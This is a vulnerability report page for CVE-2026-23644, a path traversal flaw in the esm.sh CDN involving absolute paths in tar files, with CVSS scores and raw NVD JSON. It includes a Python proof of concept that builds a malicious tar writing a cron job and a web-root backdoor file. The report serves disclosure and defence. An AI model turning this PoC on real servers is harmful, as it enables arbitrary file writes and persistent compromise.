Security Vulnerability Report
中文
CVE-2026-23644 CVSS 7.5 HIGH

CVE-2026-23644

Published: 2026-01-18 23:15:49
Last Modified: 2026-02-18 16:10:48

Description

esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:* - VULNERABLE
esm.sh < 0.0.0-20260116051925-c62ab83c589e

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-23644 PoC - Path Traversal via Malicious Tar File # This PoC demonstrates how to craft a malicious tar file with absolute paths # that can bypass esm.sh's path.Clean validation import tarfile import io import os def create_malicious_tar(): """ Create a tar file containing entries with absolute paths to exploit the path traversal vulnerability in esm.sh """ tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w') as tar: # Create a malicious entry with absolute path # This path will bypass path.Clean validation malicious_content = b'#!/bin/bash\n# Malicious payload\necho "pwned"' # Add file with absolute path - path.Clean won't block this tar_info = tarfile.TarInfo(name='/etc/cron.d/malicious_cron') tar_info.size = len(malicious_content) tar.addfile(tar_info, io.BytesIO(malicious_content)) # Another example: overwrite critical system file another_payload = b'backdoor_content' tar_info2 = tarfile.TarInfo(name='/var/www/html/.malicious') tar_info2.size = len(another_payload) tar.addfile(tar_info2, io.BytesIO(another_payload)) return tar_buffer.getvalue() def exploit_esm_sh(): """ Simulate exploit against esm.sh vulnerable endpoint """ malicious_tar = create_malicious_tar() # The tar file is sent to esm.sh # Due to the bug, path.Clean() normalizes but doesn't block absolute paths # Files are extracted to their absolute locations print(f"Malicious tar created: {len(malicious_tar)} bytes") print("Tar contains entries with absolute paths:") print(" - /etc/cron.d/malicious_cron") print(" - /var/www/html/.malicious") print("\nThese paths bypass path.Clean validation and are written to filesystem") if __name__ == '__main__': exploit_esm_sh()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23644", "sourceIdentifier": "[email protected]", "published": "2026-01-18T23:15:48.547", "lastModified": "2026-02-18T16:10:48.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue."}, {"lang": "es", "value": "esm.sh es una red de entrega de contenido (CDN) sin compilación para desarrollo web. Antes de la pseudoversión Go 0.0.0-20260116051925-c62ab83c589e, el software tiene una vulnerabilidad de salto de ruta debido a una corrección incompleta. 'path.Clean' normaliza una ruta pero no evita rutas absolutas en un archivo tar malicioso. El commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, correspondiente a la pseudoversión 0.0.0-20260116051925-c62ab83c589e, soluciona este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*", "versionEndExcluding": "136", "matchCriteriaId": "6FB0321A-8476-4667-8F8F-BF9D9E1DF466"}]}]}], "references": [{"url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://pkg.go.dev/vuln/GO-2025-4138", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}